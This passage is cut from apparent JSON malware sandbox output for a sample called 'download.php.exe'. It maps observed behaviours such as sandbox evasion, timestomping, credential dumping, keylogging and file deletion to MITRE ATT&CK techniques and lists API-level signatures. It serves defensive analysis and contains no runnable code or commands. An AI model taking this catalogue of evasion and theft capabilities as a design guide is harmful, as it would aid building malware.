string)"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"},{"type":"informative","value":"Contains ability to set file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"suspicious","value":"CRC value set in PE header does not match actual value"},{"type":"informative","value":"Contains ability to perform AES/RC4 encryption (API string)"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"PE file contains zero-sized sections"},{"type":"informative","value":"Sample file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"YARA signature match - AES encryption"},{"type":"suspicious","value":"Entrypoint in PE header is within an uncommon section"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Shows ability to obfuscate file or information"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Marks file for deletion"},{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"informative","value":"Contains ability to delete files/directories (API string)"},{"type":"informative","value":"Calls an API typically used to remove a directory"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"},{"type":"informative","value":"Contains ability to pass information to a window procedure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"},{"type":"informative","value":"Contains ability to perform decryption (API string)"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Contains ability to uninstall applications (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Contains reference to method used by Windows shell items (API string)"},{"type":"informative","value":"Spawns Windows crash diagnostic and reporting process"},{"type":"informative","value":"Found virtual disk drive like strings"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Defense Evasion","technique":"System Binary Proxy Execution","attack_id":"T1218","attack_id_wiki":"https://attack.mitre.org/techniques/T1218","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Creates mutants"},{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Contains ability to detect sandbox (imports API)"},{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"suspicious","value":"Contains ability to detect virtual environment"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"suspicious","value":"PE file has unusual entropy resources"},{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Defense Evasion","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"suspicious","value":"Section contains high entropy"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Defense Evasion","technique":"Clear Persistence","attack_id":"T1070.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/009","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal","attack_id":"T1070","attack_id_wiki":"https://attack.mitre.org/techniques/T1070","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Defense Evasion","technique":"Compression","attack_id":"T1027.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/015","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"},{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to delay execution (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify System Firewall","attack_id":"T1562.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/004","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Defense Evasion","technique":"Dynamic API Resolution","attack_id":"T1027.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/007","identifiers":[{"type":"informative","value":"Contains ability to dynamically determine API calls"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Defense Evasion","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","identifiers":[{"type":"suspicious","value":"YARA signature match – detects packer/protector"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Credential Access","technique":"Unsecured Credentials","attack_id":"T1552","attack_id_wiki":"https://attack.mitre.org/techniques/T1552","identifiers":[{"type":"informative","value":"Contains ability to search for patterns of text (possibly credentials) in files"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve information about pressed keystrokes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Contains ability to retrieve path in which Windows is installed (API string)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Able to retrieve the valid logical drives on the computer"},{"type":"informative","value":"Able to determine the valid logical drives on the computer"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Able to find string content in a file"},{"type":"informative","value":"Contains ability to retrieve volume information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Queries volatile registry keys"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Contains ability to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to enumerate objects (Powershell command string)"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Reads system-defined device setup information from registry"},{"type":"informative","value":"Contains ability to find logical drives of the machine (API string)"},{"type":"informative","value":"Contains ability to determine disk drive type (API string)"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Queries volume information"},{"type":"malicious","value":"Reads the system/video BIOS version"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Contains ability to retrieve operating system version"},{"type":"informative","value":"Contains ability to retrieve windows environment variables"},{"type":"informative","value":"Queries volume information of an entire harddrive"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Contains ability to query volume/memory size (API string)"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Contains ability to query registry keys (API string)"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Uses REG.EXE to query registry keys"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Found registry key string for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"informative","value":"Loads the debugger/analysis tool module"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"malicious","value":"Opens a handle of credential dumping utility"},{"type":"malicious","value":"Spawns a lot of processes"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"},{"type":"informative","value":"Calls an APIs used to retrieve process information"},{"type":"informative","value":"Contains ability to enumerate running processes using Tasklist"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Spawns new processes that are not known child processes"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Able to query system locale information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"},{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"},{"type":"informative","value":"Contains ability to find open windows (API string)"},{"type":"informative","value":"Calls an API typically used to enumerate active windows"},{"type":"informative","value":"Scanning for window names"},{"type":"informative","value":"Calls an API typically used to get active windows title"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","identifiers":[{"type":"informative","value":"Contains ability to retrieve remote session information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Discovery","technique":"System Network Connections Discovery","attack_id":"T1049","attack_id_wiki":"https://attack.mitre.org/techniques/T1049","identifiers":[{"type":"informative","value":"Contains ability to enumerate logon sessions (API string)"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"suspicious","value":"Requested access to a system service"},{"type":"informative","value":"Able to enumerate service (API string)"},{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Discovery","technique":"Local Account","attack_id":"T1087.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1087/001","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"},{"type":"informative","value":"Calls an API typically used to retrieve default language settings"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Discovery","technique":"Local Groups","attack_id":"T1069.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1069/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve local groups information"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Contains ability to move file or directory (API string)"},{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Lateral Movement","technique":"Remote Desktop Protocol","attack_id":"T1021.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1021/001","identifiers":[{"type":"informative","value":"Contains ability to perform remote desktop activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"},{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Contains ability to capture screen (API string)"},{"type":"informative","value":"Calls an API possibly used to take screenshots"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Collection","technique":"Archive via Utility","attack_id":"T1560.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/001","identifiers":[{"type":"informative","value":"Contains ability to copy files using xcopy"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Collection","technique":"Remote Email Collection","attack_id":"T1114.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1114/002","identifiers":[{"type":"informative","value":"Found PowerShell command strings related to Exchange mailboxes"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Writes files in a temp directory"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Collection","technique":"Clipboard Data","attack_id":"T1115","attack_id_wiki":"https://attack.mitre.org/techniques/T1115","identifiers":[{"type":"informative","value":"Contains ability to access clipboard data (API string)"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Collection","technique":"Archive Collected Data","attack_id":"T1560","attack_id_wiki":"https://attack.mitre.org/techniques/T1560","identifiers":[{"type":"suspicious","value":"Writes archive files"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Collection","technique":"Data Staged","attack_id":"T1074","attack_id_wiki":"https://attack.mitre.org/techniques/T1074","identifiers":[{"type":"informative","value":"Able to aggregate collected data, possibly for exfiltration"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential URL in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"Contains ability to perform Base64 encoding/decoding"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Command and Control","technique":"Internal Proxy","attack_id":"T1090.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1090/001","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Contains reference to Sysinternals URL"},{"type":"suspicious","value":"Drops executable files"},{"type":"suspicious","value":"Writes a PE file header to disc"},{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Drops executable files inside temp directory"},{"type":"informative","value":"Contains ability to write files (API string)"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Able to change the configuration parameters of a service"},{"type":"informative","value":"Contains ability to close a handle to a service (API string)"},{"type":"informative","value":"Calls an API used to open a process handle"},{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to reboot/shutdown the operating system (API string)"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to find a resource in a module","description":"$25","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to load a resource in memory","description":"$26","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to remove a directory","description":"\"download.php.exe\" called \"RemoveDirectoryA\" with parameter %TEMP%\\IXP000.TMP (UID: 00000000-00002484)\n \"download.php.exe\" called \"RemoveDirectoryA\" with parameter %TEMP%\\IXP000.TMP\\ (UID: 00000000-00002484)","origin":"API Call","mitre_attack_id":"T1070.004","relevance":3,"id":"api-121","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Start-Sleep\"; File: \"RdRK6XK.bat\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-397","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"$27","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; File: \"download.php\")\n file/memory contains long string with (Indicator: \"OpenProcessToken\"; File: \"download.php\")\n Found reference to API \"OpenProcessToken.3\" (Indicator: \"OpenProcessToken\"; File: \"download.php\")\n Found reference to API \"SetThreadToken\" (Indicator: \"SetThreadToken\"; File: \"download.php\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to inject code into another process (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"download.php\")\n Found reference to API \"VirtualFree\" (Indicator: \"VirtualFree\"; File: \"download.php\")\n Found reference to API \"VirtualAlloc\" (Indicator: \"VirtualAlloc\"; File: \"download.php\")\n Found reference to API \"WTSFreeMemory\" (Indicator: \"FreeMemory\"; File: \"download.php\")\n Found reference to API \"CreateThreadpoolTimer\" (Indicator: \"CreateThread\"; Source: \"00000000-00004360.00000000.172778.00CF1000.00000040.mdmp\")\n Found reference to API \"CreateThreadpoolWait\" (Indicator: \"CreateThread\"; Source: \"00000000-00004360.00000000.172778.00CF1000.00000040.mdmp\")\n Found reference to API \"CreateThreadpoolWork\" (Indicator: \"CreateThread\"; Source: \"00000000-00004360.00000000.172778.00CF1000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; File: \"download.php\")\n Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; File: \"download.php\")\n Found reference to API \"LoadLibraryExA\" (Indicator: \"LoadLibrary\"; File: \"download.php\")\n Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; File: \"download.php\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; File: \"download.php\")\n Found reference to API \"FreeLibraryWhenCallbackReturns\" (Indicator: \"FreeLibrary\"; Source: \"00000000-00004360.00000000.172778.00CF1000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify registry key/value (API string)","description":"$28","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to open a service (API string)","description":"Found reference to API \"OpenServiceW\" (Indicator: \"OpenService\"; File: \"download.php\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-544","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to pass information to a window procedure (API string)","description":"Found reference to API \"CallWindowProcA\" (Indicator: \"CallWindowProc\"; File: \"download.php\")\n Found reference to API \"\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00004360.00000000.172778.03290000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to perform Base64 encoding/decoding","description":"Found string \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\" (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\"; File: \"00000000-00004360.00000000.172778.00CF1000.00000040.mdmp\")\n Found string \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\" (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"; File: \"00000000-00004360.00000000.172778.00CF1000.00000040.mdmp\")\n Found string \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\" (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\"; Source: \"00000000-00004360.00000000.172778.00CF1000.00000040.mdmp\")\n Found string \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\" (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"; Source: \"00000000-00004360.00000000.172778.00CF1000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1132","relevance":1,"id":"string-338","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to set file time (API string)","description":"Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; File: \"download.php\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-409","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to unmap view of a section from a process (API string)","description":"Found reference to API \"NtUnmapViewOfSection\" (Indicator: \"UnmapViewOfSection\"; File: \"00000000-00004360.00000000.172778.00CF1000.00000040.mdmp\")\n Found reference to API 